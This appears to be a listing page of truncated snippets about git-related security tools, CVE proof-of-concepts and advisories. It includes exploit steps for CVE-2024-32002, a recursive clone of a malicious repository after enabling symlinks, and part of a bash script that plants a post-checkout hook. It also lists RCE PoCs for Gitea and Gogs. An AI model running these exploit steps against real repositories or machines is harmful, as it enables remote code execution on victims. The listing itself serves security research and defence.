git_rce

CVE-2024-32002 PoC 1. Debes configurar la opción de enlace simbólico de git de la siguiente manera: root@kitploit: git config --global core.symlinks true 2. Luego explota CVE-2024-32002 con el siguiente comando: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git...

git-secrets-scan

Bitbucket Security: Secret Scanner Scans your files for hardcoded secrets, keys, and passwords. Creates a security Code Insights report if found. This Bitbucket Cloud supported Pipe leverages the gitleaks secret pattern registry to provide industry-leading Security Secrets Scanning capabilities t...

wifi-password

wifi-password Quickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect. Works on macOS and Linux , Windows Installation Install using pip root@kitploit: $ python3 -m pip install --user wifi-password Install using git root@kitploit: $ git...

git-vuln-finder

git-vuln-finder 从git提交信息中发现潜在软件漏洞。 输出格式为JSON，包含可能涉及软件漏洞修复的相关提交。搜索仅基于对提交信息的一组正则表达式。如果存在CVE ID，则会自动添加到输出中。输入可以是任何git仓库或GH archive源。 要求 jq（sudo apt install jq） Python poetry 安装 作为库使用 git-vuln-finder 可以通过 poetry 安装。如果你没有安装 poetry，可以执行以下命令 curl -sSL...

gitjacker

gitjacker Gitjacker 能够从误上传了 .git 目录的站点下载 git 仓库并提取其内容。即使禁用了目录列表，它仍能恢复仓库的很大一部分。 仅用于教育/渗透测试用途。 更多信息请访问 https://liam-galvin.co.uk/security/2020/09/26/leaking-git-repos-from-misconfigured-sites.html 安装 root@kitploit: curl -s "https://raw.githubusercontent.com/liamg/gitjacker/master/scripts/install.sh...

cve-2024-32002-poc-rce

CVE-2024-32002 RCE POC A POC for CVE-2024-32002 demonstrating Remote Code Execution RCE. See cve-2024-32002-poc-rce for the related submodule repository. What this repo contains A symlink with an arbitraty name that links to the .git directory. A .gitmodules file that defines the malicious...

CVE-2024-32002-Exploit

root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

CVE-2025-64424-Coolify-

Coolify CVE-2025-64424 RCE Vulnerability Lab Lesson Plan: Red74-Coolio-CVE-2025-64424 Disclaimer: This repository contains a deliberately vulnerable version of Coolify and is intended for educational purposes, CTF environments, and cybersecurity training. Do not deploy this in a production...

expel-intel

expel-intel Este es el hogar del equipo de Expel Intel. Aquí, compartiremos IOCs y otra información que no sea adecuada para encajar en otros medios o que sea especialmente adecuada para encajar en git repos. Manténganse seguros, hagan el bien, estén bien y diviértanse. Este repositorio es solo...

CVE-2024-32002

CVE-2024-32002 Versions 1.0.0 This version work only on remote target with authenticated user and git version 2.45.0 affected. This vulnerability affect Git with version: 2.45.0 Proof Of Concept The POC can trigger an RCE Remote Command Execution using the git clone command via specific vulnerabl...

CVE-2026-60004-POC

CVE-2026-60004 — Ejecución Remota de Código Pre-Auth en Gitea CVSS 9.8 root@kitploit: ┌──────────────────────────────────────────────────────────────┐ │ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 CRIT │ │ diffpatch → git hook injection │ v1.17–1.27.0 affected │...

CVE-2025-8110

Gogs RCE Exploit CVE-2025-8110 Una prueba de concepto PoC para CVE-2025-8110 , una vulnerabilidad crítica en Gogs que permite ejecución remota de código RCE mediante la manipulación de .git/config usando bypass de enlaces simbólicos e inyección de sshCommand. 📖 Descripción general Esta explotació...

CVE-2021-21300

CVE-2021-21300 solo clóname entonces tu máquina imprimirá "PWNED" ref:https://www.openwall.com/lists/oss-security/2021/03/09/3...

Security update for amazon-ssm-agent (important)

openSUSE security update: security update for amazon-ssm-agent ------------------------------------------------------------- Announcement ID: openSUSE-SU-2026:21884-1 Rating: important References: bsc1276981 bsc1276994 bsc1278681 Cross-References: CVE-2026-56854 CVE-2026-56855 CVE-2026-71556...

CVE-2026-3854-lab

Flagship Lab 001: From Git Push Options to RCE A local Learning Lab and Research Lab inspired by the publicly documented vulnerability concepts behind CVE-2026-3854. Both experiences use real authenticated Git pushes against ForgeDock, a fictional Git server; the Research Lab. !CAUTION This proje...

CVE-2018-11235

CVE-2018-11235 Auto malicious git repository creation to exploit CVE-2018-11235 a Remote Code Execution using Git Sub module. Blog Post: https://devblogs.microsoft.com/devops/announcing-the-may-2018-git-security-vulnerability/...

CVE-2023-23946-POC

CVE-2023-23946 POC Exploit Explanation and POC of the CVE-2023-23946 The CVE-2023-23946 vulnerability is caused by a flaw in the way git handles symbolic links. When git creates a symbolic link, it doesnt actually handle it as a symbolic link and because of that we can exploit it to point to file...

automation-controller: automation-controller-container: automation-controller: Project scm_url argument injection into `git ls-remote --upload-pack` yields RCE on the controller-task control-plane pod

A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The Project scmurl field is not validated against values that begin with a dash and is stored and passed verbatim to the git SCM module. Because the module runs git ls-remote with the URL as a positional argument an...

automation-controller: automation-controller: Project scm_branch/scm_refspec argument injection into git during project sync allows arbitrary file read on the sync host (control-plane ServiceAccount token, SECRET_KEY, and DB credentials on control-plane deployments) leading to full AAP and Kubernetes-namespace compromise

A flaw was found in Red Hat Ansible Automation Platform's automation-controller. The Project SCM branch and SCM refspec fields are accepted without rejecting values that begin with a dash and are passed to the git module during project synchronization, where they reach a git checkout/git fetch...

GitPython: GitPython: Remote Code Execution via Git directory impersonation

A flaw was found in GitPython. This vulnerability allows a remote attacker to execute arbitrary code. By failing to properly validate the git directory location, GitPython allows attackers to impersonate the git directory using tracked files such as gitdir, commondir, and HEAD. An attacker can th...